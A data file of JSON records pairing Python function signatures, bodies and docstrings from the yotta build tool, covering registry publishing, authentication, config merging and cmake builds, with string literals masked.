{"signature": "def satisfyVersion(<EOL>name,<EOL>version_required,<EOL>available,<EOL>search_paths,<EOL>working_directory,<EOL>update_installed=None,<EOL>type='<STR_LIT>',  <EOL>inherit_shrinkwrap=None<EOL>):", "body": "r = satisfyFromAvailable(name, available, type=type)<EOL>if r is not None:<EOL><INDENT>if not sourceparse.parseSourceURL(version_required).semanticSpecMatches(r.getVersion()):<EOL><INDENT>raise access_common.SpecificationNotMet(<EOL>\"<STR_LIT>\" % (type, name, version_required)<EOL>)<EOL><DEDENT>return r<EOL><DEDENT>r = satisfyVersionFromSearchPaths(<EOL>name,<EOL>version_required,<EOL>search_paths,<EOL>(update_installed == '<STR_LIT>'),<EOL>type = type,<EOL>inherit_shrinkwrap = inherit_shrinkwrap<EOL>)<EOL>if r is not None:<EOL><INDENT>return r<EOL><DEDENT>return satisfyVersionByInstalling(<EOL>name, version_required, working_directory, type=type, inherit_shrinkwrap = inherit_shrinkwrap<EOL>)<EOL>", "docstring": "returns a Component/Target for the specified version (either to an already\n        installed copy (from the available list, or from disk), or to a newly\n        downloaded one), or None if the version could not be satisfied.\n\n        update_installed = None / 'Update'\n            None:   prevent any attempt to look for new versions if the\n                    component/target already exists\n            Update: replace any existing version with the newest available, if\n                    the newest available has a higher version", "id": "f13541:m10"}
{"signature": "def _returnRequestError(fn):", "body": "@functools.wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>return \"<STR_LIT>\" % (e.response.status_code, e.message)<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator that captures requests.exceptions.RequestException errors\n        and returns them as an error message. If no error occurs the reture\n        value of the wrapped function is returned (normally None).", "id": "f13542:m4"}
{"signature": "def _handleAuth(fn):", "body": "@functools.wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>from yotta.lib import auth<EOL>interactive = globalconf.get('<STR_LIT>')<EOL>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>if e.response.status_code == requests.codes.unauthorized: <EOL><INDENT>logger.debug('<STR_LIT>', fn)<EOL>auth.authorizeUser(provider=None, interactive=interactive)<EOL>if interactive:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return fn(*args, **kwargs)<EOL><DEDENT><DEDENT>raise<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator to re-try API calls after asking the user for authentication.", "id": "f13542:m5"}
{"signature": "def _friendlyAuthError(fn):", "body": "@functools.wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>if e.response.status_code == requests.codes.unauthorized: <EOL><INDENT>logger.error('<STR_LIT>')<EOL><DEDENT>elif e.response.status_code == requests.codes.bad and '<STR_LIT>' in e.response.text.lower(): <EOL><INDENT>logger.error('<STR_LIT>', e.response.status_code, e.response.text)<EOL>logger.error('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>logger.error('<STR_LIT>', e.response.status_code, e.response.text)<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator to print a friendly you-are-not-authorised message. Use\n        **outside** the _handleAuth decorator to only print the message after\n        the user has been given a chance to login.", "id": "f13542:m6"}
{"signature": "def _raiseUnavailableFor401(message):", "body": "def __raiseUnavailableFor401(fn):<EOL><INDENT>def wrapped(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>if e.response.status_code == requests.codes.unauthorized:<EOL><INDENT>raise access_common.Unavailable(message)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>return wrapped<EOL><DEDENT>return __raiseUnavailableFor401<EOL>", "docstring": "Returns a decorator to swallow a requests exception for modules that\n        are not accessible without logging in, and turn it into an Unavailable\n        exception.", "id": "f13542:m7"}
{"signature": "@_swallowRequestExceptions(fail_return=\"<STR_LIT>\")<EOL>@_retryConnectionErrors<EOL>@_friendlyAuthError<EOL>@_handleAuth<EOL>def publish(namespace, name, version, description_file, tar_file, readme_file,<EOL>readme_file_ext, registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry,<EOL>namespace,<EOL>name,<EOL>version<EOL>)<EOL>if readme_file_ext == '<STR_LIT>':<EOL><INDENT>readme_section_name = '<STR_LIT>'<EOL><DEDENT>elif readme_file_ext == '<STR_LIT>':<EOL><INDENT>readme_section_name = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % readme_file_ext)<EOL><DEDENT>body = OrderedDict([('<STR_LIT>', (None, description_file.read(),'<STR_LIT:application/json>')),<EOL>('<STR_LIT>',('<STR_LIT>', tar_file)),<EOL>(readme_section_name, (readme_section_name, readme_file))])<EOL>headers = _headersForRegistry(registry)<EOL>response = requests.put(url, headers=headers, files=body)<EOL>response.raise_for_status()<EOL>return None<EOL>", "docstring": "Publish a tarblob to the registry, if the request fails, an exception\n        is raised, which either triggers re-authentication, or is turned into a\n        return value by the decorators. (If successful, the decorated function\n        returns None)", "id": "f13542:m23"}
{"signature": "@_swallowRequestExceptions(fail_return=\"<STR_LIT>\")<EOL>@_retryConnectionErrors<EOL>@_friendlyAuthError<EOL>@_handleAuth<EOL>def unpublish(namespace, name, version, registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry,<EOL>namespace,<EOL>name,<EOL>version<EOL>)<EOL>headers = _headersForRegistry(registry)<EOL>response = requests.delete(url, headers=headers)<EOL>response.raise_for_status()<EOL>return None<EOL>", "docstring": "Try to unpublish a recently published version. Return any errors that\n        occur.", "id": "f13542:m24"}
{"signature": "@_swallowRequestExceptions(fail_return=None)<EOL>@_retryConnectionErrors<EOL>@_friendlyAuthError<EOL>@_handleAuth<EOL>def listOwners(namespace, name, registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry,<EOL>namespace,<EOL>name<EOL>)<EOL>request_headers = _headersForRegistry(registry)<EOL>response = requests.get(url, headers=request_headers)<EOL>if response.status_code == <NUM_LIT>:<EOL><INDENT>logger.error('<STR_LIT>' % (namespace[:-<NUM_LIT:1>], name))<EOL>return None<EOL><DEDENT>response.raise_for_status()<EOL>return ordered_json.loads(response.text)<EOL>", "docstring": "List the owners of a module or target (owners are the people with\n        permission to publish versions and add/remove the owners).", "id": "f13542:m25"}
{"signature": "@_swallowRequestExceptions(fail_return=None)<EOL>@_retryConnectionErrors<EOL>@_friendlyAuthError<EOL>@_handleAuth<EOL>def addOwner(namespace, name, owner, registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry,<EOL>namespace,<EOL>name,<EOL>owner<EOL>)<EOL>request_headers = _headersForRegistry(registry)<EOL>response = requests.put(url, headers=request_headers)<EOL>if response.status_code == <NUM_LIT>:<EOL><INDENT>logger.error('<STR_LIT>' % (namespace[:-<NUM_LIT:1>], name))<EOL>return<EOL><DEDENT>response.raise_for_status()<EOL>return True<EOL>", "docstring": "Add an owner for a module or target (owners are the people with\n        permission to publish versions and add/remove the owners).", "id": "f13542:m26"}
{"signature": "@_swallowRequestExceptions(fail_return=None)<EOL>@_retryConnectionErrors<EOL>@_friendlyAuthError<EOL>@_handleAuth<EOL>def removeOwner(namespace, name, owner, registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry,<EOL>namespace,<EOL>name,<EOL>owner<EOL>)<EOL>request_headers = _headersForRegistry(registry)<EOL>response = requests.delete(url, headers=request_headers)<EOL>if response.status_code == <NUM_LIT>:<EOL><INDENT>logger.error('<STR_LIT>' % (namespace[:-<NUM_LIT:1>], name))<EOL>return<EOL><DEDENT>response.raise_for_status()<EOL>return True<EOL>", "docstring": "Remove an owner for a module or target (owners are the people with\n        permission to publish versions and add/remove the owners).", "id": "f13542:m27"}
{"signature": "@_retryConnectionErrors<EOL>def search(query='<STR_LIT>', keywords=[], registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % registry<EOL>headers = _headersForRegistry(registry)<EOL>params = {<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT:50><EOL>}<EOL>if len(query):<EOL><INDENT>params['<STR_LIT>'] = query<EOL><DEDENT>if len(keywords):<EOL><INDENT>params['<STR_LIT>'] = keywords<EOL><DEDENT>while True:<EOL><INDENT>response = requests.get(url, headers=headers, params=params)<EOL>response.raise_for_status()<EOL>objects = ordered_json.loads(response.text)<EOL>if len(objects):<EOL><INDENT>for o in objects:<EOL><INDENT>yield o<EOL><DEDENT>params['<STR_LIT>'] += params['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "generator of objects returned by the search endpoint (both modules and\n        targets).\n\n        Query is a full-text search (description, name, keywords), keywords\n        search only the module/target description keywords lists.\n\n        If both parameters are specified the search is the intersection of the\n        two queries.", "id": "f13542:m29"}
{"signature": "def setAPIKey(registry, api_key):", "body": "if (registry is None) or (registry == Registry_Base_URL):<EOL><INDENT>return<EOL><DEDENT>sources = _getSources()<EOL>source = None<EOL>for s in sources:<EOL><INDENT>if _sourceMatches(s, registry):<EOL><INDENT>source = s<EOL><DEDENT><DEDENT>if source is None:<EOL><INDENT>source = {<EOL>'<STR_LIT:type>':'<STR_LIT>',<EOL>'<STR_LIT:url>':registry,<EOL>}<EOL>sources.append(source)<EOL><DEDENT>source['<STR_LIT>'] = api_key<EOL>settings.set('<STR_LIT>', sources)<EOL>", "docstring": "Set the api key for accessing a registry. This is only necessary for\n        development/test registries.", "id": "f13542:m31"}
{"signature": "def getPublicKey(registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>pubkey_pem = None<EOL>if _isPublicRegistry(registry):<EOL><INDENT>pubkey_pem = settings.getProperty('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>for s in _getSources():<EOL><INDENT>if _sourceMatches(s, registry):<EOL><INDENT>if '<STR_LIT>' in s and s['<STR_LIT>'] and '<STR_LIT>' in s['<STR_LIT>']:<EOL><INDENT>pubkey_pem = s['<STR_LIT>']['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not pubkey_pem:<EOL><INDENT>pubkey_pem, privatekey_pem = _generateAndSaveKeys()<EOL><DEDENT>else:<EOL><INDENT>pubkey_pem = pubkey_pem.encode('<STR_LIT:ascii>')<EOL><DEDENT>if b'<STR_LIT>' in pubkey_pem:<EOL><INDENT>pubkey = serialization.load_pem_public_key(pubkey_pem, default_backend())<EOL><DEDENT>else:<EOL><INDENT>pubkey_der = binascii.unhexlify(pubkey_pem)<EOL>pubkey = serialization.load_der_public_key(pubkey_der, default_backend())<EOL><DEDENT>return _pubkeyWireFormat(pubkey)<EOL>", "docstring": "Return the user's public key (generating and saving a new key pair if necessary)", "id": "f13542:m32"}
{"signature": "@_retryConnectionErrors<EOL>def getAuthData(registry=None):", "body": "registry = registry or Registry_Base_URL<EOL>url = '<STR_LIT>' % (<EOL>registry<EOL>)<EOL>request_headers = _headersForRegistry(registry)<EOL>logger.debug('<STR_LIT>', request_headers)<EOL>try:<EOL><INDENT>response = requests.get(url, headers=request_headers)<EOL><DEDENT>except requests.RequestException as e:<EOL><INDENT>logger.debug(str(e))<EOL>return None<EOL><DEDENT>if response.status_code == requests.codes.unauthorized: <EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return None<EOL><DEDENT>elif response.status_code == requests.codes.not_found: <EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return None<EOL><DEDENT>body = response.text<EOL>logger.debug('<STR_LIT>' % body);<EOL>r = {}<EOL>parsed_response = ordered_json.loads(body)<EOL>if '<STR_LIT:error>' in parsed_response:<EOL><INDENT>raise AuthError(parsed_response['<STR_LIT:error>'])<EOL><DEDENT>for token in parsed_response:<EOL><INDENT>if '<STR_LIT>' in token and token['<STR_LIT>'] and '<STR_LIT>' in token:<EOL><INDENT>r[token['<STR_LIT>']] = token['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT>logger.debug('<STR_LIT>' % r);<EOL>return r<EOL>", "docstring": "Poll the registry to get the result of a completed authentication\n        (which, depending on the authentication the user chose or was directed\n        to, will include a github or other access token)", "id": "f13542:m33"}
{"signature": "@classmethod<EOL><INDENT>def createFromSource(cls, vs, name, registry):<DEDENT>", "body": "<EOL>if registry == '<STR_LIT>':<EOL><INDENT>name_match = re.match('<STR_LIT>', name)<EOL>if not name_match:<EOL><INDENT>raise access_common.AccessException(<EOL>'<STR_LIT>' % name<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>name_match = re.match('<STR_LIT>', name)<EOL>if not name_match:<EOL><INDENT>raise access_common.AccessException(<EOL>'<STR_LIT>' % name<EOL>)<EOL><DEDENT><DEDENT>assert(vs.semantic_spec)<EOL>return RegistryThing(name, vs.semantic_spec, registry)<EOL>", "docstring": "returns a registry component for anything that's a valid package\n            name (this does not guarantee that the component actually exists in\n            the registry: use availableVersions() for that).", "id": "f13542:c2:m1"}
{"signature": "def availableVersions(self):", "body": "return _listVersions(self.namespace, self.name)<EOL>", "docstring": "return a list of Version objects, each able to retrieve a tarball", "id": "f13542:c2:m3"}
{"signature": "def _mergeDictionaries(*args):", "body": "<EOL>result = type(args[<NUM_LIT:0>])()<EOL>for k, v in itertools.chain(*[x.items() for x in args]):<EOL><INDENT>if not k in result:<EOL><INDENT>result[k] = v<EOL><DEDENT>elif isinstance(result[k], dict) and isinstance(v, dict):<EOL><INDENT>result[k] = _mergeDictionaries(result[k], v)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "merge dictionaries of dictionaries recursively, with elements from\n        dictionaries earlier in the argument sequence taking precedence", "id": "f13543:m2"}
{"signature": "def _mirrorStructure(dictionary, value):", "body": "result = type(dictionary)()<EOL>for k in dictionary.keys():<EOL><INDENT>if isinstance(dictionary[k], dict):<EOL><INDENT>result[k] = _mirrorStructure(dictionary[k], value)<EOL><DEDENT>else:<EOL><INDENT>result[k] = value<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "create a new nested dictionary object with the same structure as\n        'dictionary', but with all scalar values replaced with 'value'", "id": "f13543:m3"}
{"signature": "def loadAdditionalConfig(config_path):", "body": "error = None<EOL>config = {}<EOL>if not config_path:<EOL><INDENT>return (error, config)<EOL><DEDENT>if os.path.isfile(config_path):<EOL><INDENT>try:<EOL><INDENT>config = ordered_json.load(config_path)<EOL><DEDENT>except Exception as e:<EOL><INDENT>error = \"<STR_LIT>\" % (config_path, e)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>config = ordered_json.loads(config_path)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if '<STR_LIT:{>' in config_path or '<STR_LIT:}>' in config_path:<EOL><INDENT>error = \"<STR_LIT>\" % e<EOL><DEDENT>else:<EOL><INDENT>error = \"<STR_LIT>\" % config_path<EOL><DEDENT><DEDENT><DEDENT>logger.debug('<STR_LIT>', config)<EOL>return (error, config)<EOL>", "docstring": "returns (error, config)", "id": "f13543:m5"}
{"signature": "def baseTargetSpec(self):", "body": "inherits = self.description.get('<STR_LIT>', {})<EOL>if len(inherits) == <NUM_LIT:1>:<EOL><INDENT>name, version_req = list(inherits.items())[<NUM_LIT:0>]<EOL>shrinkwrap_version_req = self.getShrinkwrapMapping('<STR_LIT>').get(name, None)<EOL>if shrinkwrap_version_req is not None:<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>', shrinkwrap_version_req, name<EOL>)<EOL><DEDENT>return pack.DependencySpec(<EOL>name,<EOL>version_req,<EOL>shrinkwrap_version_req = shrinkwrap_version_req<EOL>)<EOL><DEDENT>elif len(inherits) > <NUM_LIT:1>:<EOL><INDENT>logger.error('<STR_LIT>', self.getName())<EOL><DEDENT>return None<EOL>", "docstring": "returns pack.DependencySpec for the base target of this target (or\n            None if this target does not inherit from another target.", "id": "f13543:c0:m1"}
{"signature": "def __init__(self, leaf_target, base_targets, app_config, additional_config):", "body": "<EOL>super(DerivedTarget, self).__init__(<EOL>path = leaf_target.path,<EOL>installed_linked = leaf_target.installed_linked,<EOL>latest_suitable_version = leaf_target.latest_suitable_version<EOL>)<EOL>self.hierarchy = [leaf_target] + base_targets[:]<EOL>self.config = None<EOL>self.config_blame = None<EOL>self.app_config = app_config<EOL>self.additional_config = additional_config or {}<EOL>", "docstring": "Initialise a DerivedTarget (representing an inheritance hierarchy of\n            Targets.), given the most-derived Target description, and a set of\n            available Targets to compose the rest of the lineage from.\n\n            DerivedTarget provides build & debug commands, and access to the\n            derived target config info (merged with the application config\n            info from config.json, if any).\n\n            It's possible to update the application config for an existing\n            DerivedTarget instance.\n\n            DerivedTarget can also be used as a stand-in for the most-derived\n            (leaf) target in the inheritance hierarchy.", "id": "f13543:c1:m0"}
{"signature": "def getScript(self, scriptname):", "body": "for t in self.hierarchy:<EOL><INDENT>s = t.getScript(scriptname)<EOL>if s:<EOL><INDENT>return s<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "return the specified script if one exists (possibly inherited from\n            a base target)", "id": "f13543:c1:m3"}
{"signature": "def _loadConfig(self):", "body": "config_dicts = [self.additional_config, self.app_config] + [t.getConfig() for t in self.hierarchy]<EOL>config_blame = [<EOL>_mirrorStructure(self.additional_config, '<STR_LIT>'),<EOL>_mirrorStructure(self.app_config, '<STR_LIT>'),<EOL>] + [<EOL>_mirrorStructure(t.getConfig(), t.getName()) for t in self.hierarchy<EOL>]<EOL>self.config = _mergeDictionaries(*config_dicts)<EOL>self.config_blame = _mergeDictionaries(*config_blame)<EOL>", "docstring": "load the configuration information from the target hierarchy", "id": "f13543:c1:m4"}
{"signature": "def getToolchainFiles(self):", "body": "return reversed([<EOL>os.path.join(x.path, x.description['<STR_LIT>']) for x in self.hierarchy if '<STR_LIT>' in x.description<EOL>])<EOL>", "docstring": "return a list of toolchain file paths in override order (starting\n            at the bottom/leaf of the hierarchy and ending at the base).\n            The list is returned in the order they should be included\n            (most-derived last).", "id": "f13543:c1:m10"}
{"signature": "def getAdditionalIncludes(self):", "body": "return reversed([<EOL>os.path.join(t.path, include_file)<EOL>for t in self.hierarchy<EOL>for include_file in t.description.get('<STR_LIT>', [])<EOL>])<EOL>", "docstring": "Return the list of cmake files which are to be included by yotta in\n            every module built. The list is returned in the order they should\n            be included (most-derived last).", "id": "f13543:c1:m11"}
{"signature": "def inheritsFrom(self, target_name):", "body": "for t in self.hierarchy:<EOL><INDENT>if t and t.getName() == target_name or target_name in t.description.get('<STR_LIT>', {}):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return true if this target inherits from the named target (directly\n            or indirectly. Also returns true if this target is the named\n            target. Otherwise return false.", "id": "f13543:c1:m12"}
{"signature": "def exec_helper(self, cmd, builddir):", "body": "try:<EOL><INDENT>child = subprocess.Popen(cmd, cwd=builddir)<EOL>child.wait()<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno == errno.ENOENT:<EOL><INDENT>if cmd[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % (cmd[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % (cmd)<EOL><DEDENT><DEDENT>if child.returncode:<EOL><INDENT>return '<STR_LIT>' % (cmd)<EOL><DEDENT>", "docstring": "Execute the given command, returning an error message if an error occured\n            or None if the command was succesful.", "id": "f13543:c1:m17"}
{"signature": "@fsutils.dropRootPrivs<EOL><INDENT>def build(self, builddir, component, args, release_build=False, build_args=None, targets=None,<EOL>release_no_debug_info_build=False):<DEDENT>", "body": "if build_args is None:<EOL><INDENT>build_args = []<EOL><DEDENT>if targets is None:<EOL><INDENT>targets = []<EOL><DEDENT>if release_no_debug_info_build:<EOL><INDENT>build_type = '<STR_LIT>'<EOL><DEDENT>elif release_build:<EOL><INDENT>build_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>build_type = '<STR_LIT>'<EOL><DEDENT>cmd = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>' % build_type, '<STR_LIT>', args.cmake_generator, '<STR_LIT:.>']<EOL>res = self.exec_helper(cmd, builddir)<EOL>if res is not None:<EOL><INDENT>return res<EOL><DEDENT>from yotta.lib import cmake_fixups<EOL>cmake_fixups.applyFixupsForFenerator(args.cmake_generator, builddir, component)<EOL>build_command = self.overrideBuildCommand(args.cmake_generator, targets=targets)<EOL>if build_command:<EOL><INDENT>cmd = build_command + build_args<EOL><DEDENT>else:<EOL><INDENT>cmd = ['<STR_LIT>', '<STR_LIT>', builddir]<EOL>if len(targets):<EOL><INDENT>cmd += ['<STR_LIT>', targets[<NUM_LIT:0>]]<EOL><DEDENT>cmd += build_args<EOL><DEDENT>res = self.exec_helper(cmd, builddir)<EOL>if res is not None:<EOL><INDENT>return res<EOL><DEDENT>hint = self.hintForCMakeGenerator(args.cmake_generator, component)<EOL>if hint:<EOL><INDENT>logger.info(hint)<EOL><DEDENT>", "docstring": "Execute the commands necessary to build this component, and all of\n            its dependencies.", "id": "f13543:c1:m18"}
{"signature": "def findProgram(self, builddir, program):", "body": "<EOL>if os.path.isfile(os.path.join(builddir, program)):<EOL><INDENT>logging.info('<STR_LIT>' % program)<EOL>return program<EOL><DEDENT>exact_matches = []<EOL>insensitive_matches = []<EOL>approx_matches = []<EOL>for path, dirs, files in os.walk(builddir):<EOL><INDENT>if program in files:<EOL><INDENT>exact_matches.append(os.path.relpath(os.path.join(path, program), builddir))<EOL>continue<EOL><DEDENT>files_lower = [f.lower() for f in files]<EOL>if program.lower() in files_lower:<EOL><INDENT>insensitive_matches.append(<EOL>os.path.relpath(<EOL>os.path.join(path, files[files_lower.index(program.lower())]),<EOL>builddir<EOL>)<EOL>)<EOL>continue<EOL><DEDENT>pg_basen_lower_noext = os.path.splitext(os.path.basename(program).lower())[<NUM_LIT:0>]<EOL>for f in files_lower:<EOL><INDENT>if pg_basen_lower_noext in f:<EOL><INDENT>approx_matches.append(<EOL>os.path.relpath(<EOL>os.path.join(path, files[files_lower.index(f)]),<EOL>builddir<EOL>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if len(exact_matches) == <NUM_LIT:1>:<EOL><INDENT>logging.info('<STR_LIT>', program, exact_matches[<NUM_LIT:0>])<EOL>return exact_matches[<NUM_LIT:0>]<EOL><DEDENT>elif len(exact_matches) > <NUM_LIT:1>:<EOL><INDENT>logging.error(<EOL>'<STR_LIT>' % (<EOL>program,<EOL>'<STR_LIT>'.join(['<STR_LIT:\">'+os.path.join(m, program)+'<STR_LIT:\">' for m in exact_matches])<EOL>)<EOL>)<EOL>return None<EOL><DEDENT>reduced_approx_matches = []<EOL>for m in approx_matches:<EOL><INDENT>root = os.path.splitext(m)[<NUM_LIT:0>]<EOL>if (m == root) or (root not in approx_matches):<EOL><INDENT>reduced_approx_matches.append(m)<EOL><DEDENT><DEDENT>approx_matches = reduced_approx_matches<EOL>for matches in (insensitive_matches, approx_matches):<EOL><INDENT>if len(matches) == <NUM_LIT:1>:<EOL><INDENT>logging.info('<STR_LIT>' % (<EOL>program, matches[<NUM_LIT:0>]<EOL>))<EOL>return matches[<NUM_LIT:0>]<EOL><DEDENT>elif len(matches) > <NUM_LIT:1>:<EOL><INDENT>logging.error(<EOL>'<STR_LIT>' % (<EOL>program,<EOL>'<STR_LIT:\\n>'.join(matches)<EOL>)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT>logging.error('<STR_LIT>' %  program)<EOL>return None<EOL>", "docstring": "Return the builddir-relative path of program, if only a partial\n            path is specified. Returns None and logs an error message if the\n            program is ambiguous or not found", "id": "f13543:c1:m19"}
{"signature": "@fsutils.dropRootPrivs<EOL><INDENT>def start(self, builddir, program, forward_args):<DEDENT>", "body": "child = None<EOL>try:<EOL><INDENT>prog_path = self.findProgram(builddir, program)<EOL>if prog_path is None:<EOL><INDENT>return<EOL><DEDENT>start_env, start_vars = self.buildProgEnvAndVars(prog_path, builddir)<EOL>if self.getScript('<STR_LIT:start>'):<EOL><INDENT>cmd = [<EOL>os.path.expandvars(string.Template(x).safe_substitute(**start_vars))<EOL>for x in self.getScript('<STR_LIT:start>')<EOL>] + forward_args<EOL><DEDENT>else:<EOL><INDENT>cmd = shlex.split('<STR_LIT>' + prog_path) + forward_args<EOL><DEDENT>logger.debug('<STR_LIT>', cmd)<EOL>child = subprocess.Popen(<EOL>cmd, cwd = builddir, env = start_env<EOL>)<EOL>child.wait()<EOL>if child.returncode:<EOL><INDENT>return \"<STR_LIT>\" % child.returncode<EOL><DEDENT>child = None<EOL><DEDENT>except OSError as e:<EOL><INDENT>import errno<EOL>if e.errno == errno.ENOEXEC:<EOL><INDENT>return (\"<STR_LIT>\"+<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % prog_path<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if child is not None:<EOL><INDENT>_tryTerminate(child)<EOL><DEDENT><DEDENT>", "docstring": "Launch the specified program. Uses the `start` script if specified\n            by the target, attempts to run it natively if that script is not\n            defined.", "id": "f13543:c1:m21"}
{"signature": "def debug(self, builddir, program):", "body": "try:<EOL><INDENT>signal.signal(signal.SIGINT, _ignoreSignal);<EOL>if self.getScript('<STR_LIT>') is not None:<EOL><INDENT>return self._debugWithScript(builddir, program)<EOL><DEDENT>elif '<STR_LIT>' in self.description:<EOL><INDENT>logger.warning(<EOL>'<STR_LIT>'+<EOL>'<STR_LIT>', self.getName()<EOL>)<EOL>return self._debugDeprecated(builddir, program)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\" % self<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>signal.signal(signal.SIGINT, signal.SIG_DFL);<EOL><DEDENT>", "docstring": "Launch a debugger for the specified program. Uses the `debug`\n            script if specified by the target, falls back to the `debug` and\n            `debugServer` commands if not. `program` is inserted into the\n            $program variable in commands.", "id": "f13543:c1:m22"}
{"signature": "def _handleAuth(fn):", "body": "@functools.wraps(fn)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>interactive = globalconf.get('<STR_LIT>')<EOL>def retryWithAuthOrRaise(original_exception):<EOL><INDENT>auth.authorizeUser(provider='<STR_LIT>', interactive=interactive)<EOL>if not interactive:<EOL><INDENT>raise original_exception<EOL><DEDENT>else:<EOL><INDENT>logger.debug('<STR_LIT>', settings.getProperty('<STR_LIT>', '<STR_LIT>'))<EOL>return fn(*args, **kwargs)<EOL><DEDENT><DEDENT>def handleRateLimitExceeded(original_exception):<EOL><INDENT>if not _userAuthedWithGithub():<EOL><INDENT>logger.warning('<STR_LIT>')<EOL>return retryWithAuthOrRaise(original_exception)<EOL><DEDENT>else:<EOL><INDENT>raise original_exception<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>if e.response.status_code == <NUM_LIT>:<EOL><INDENT>return handleRateLimitExceeded(e)<EOL><DEDENT>if e.response.status_code == <NUM_LIT>:<EOL><INDENT>return retryWithAuthOrRaise(e)<EOL><DEDENT>raise<EOL><DEDENT>except github.BadCredentialsException as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return retryWithAuthOrRaise(e)<EOL><DEDENT>except github.UnknownObjectException as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if not _userAuthedWithGithub():<EOL><INDENT>logger.info('<STR_LIT>')<EOL>return retryWithAuthOrRaise(e)<EOL><DEDENT>raise<EOL><DEDENT>except github.RateLimitExceededException as e:<EOL><INDENT>return handleRateLimitExceeded(e)<EOL><DEDENT>except github.GithubException as e:<EOL><INDENT>if e.status == <NUM_LIT>:<EOL><INDENT>return handleRateLimitExceeded(e)<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>return wrapped<EOL>", "docstring": "Decorator to re-try API calls after asking the user for authentication.", "id": "f13545:m2"}
{"signature": "@_handleAuth<EOL>def _getTags(repo):", "body": "logger.debug('<STR_LIT>', repo)<EOL>g = Github(settings.getProperty('<STR_LIT>', '<STR_LIT>'))<EOL>repo = g.get_repo(repo)<EOL>tags = repo.get_tags()<EOL>logger.debug('<STR_LIT>', repo, [t.name for t in tags])<EOL>return {t.name: _ensureDomainPrefixed(t.tarball_url) for t in tags}<EOL>", "docstring": "return a dictionary of {tag: tarball_url}", "id": "f13545:m3"}
{"signature": "@_handleAuth<EOL>def _getTipArchiveURL(repo):", "body": "g = Github(settings.getProperty('<STR_LIT>', '<STR_LIT>'))<EOL>repo = g.get_repo(repo)<EOL>return repo.get_archive_link('<STR_LIT>')<EOL>", "docstring": "return a string containing a tarball url", "id": "f13545:m6"}
{"signature": "@_handleAuth<EOL>def _getCommitArchiveURL(repo, commit):", "body": "g = Github(settings.getProperty('<STR_LIT>', '<STR_LIT>'))<EOL>repo = g.get_repo(repo)<EOL>return repo.get_archive_link('<STR_LIT>', commit)<EOL>", "docstring": "return a string containing a tarball url", "id": "f13545:m7"}
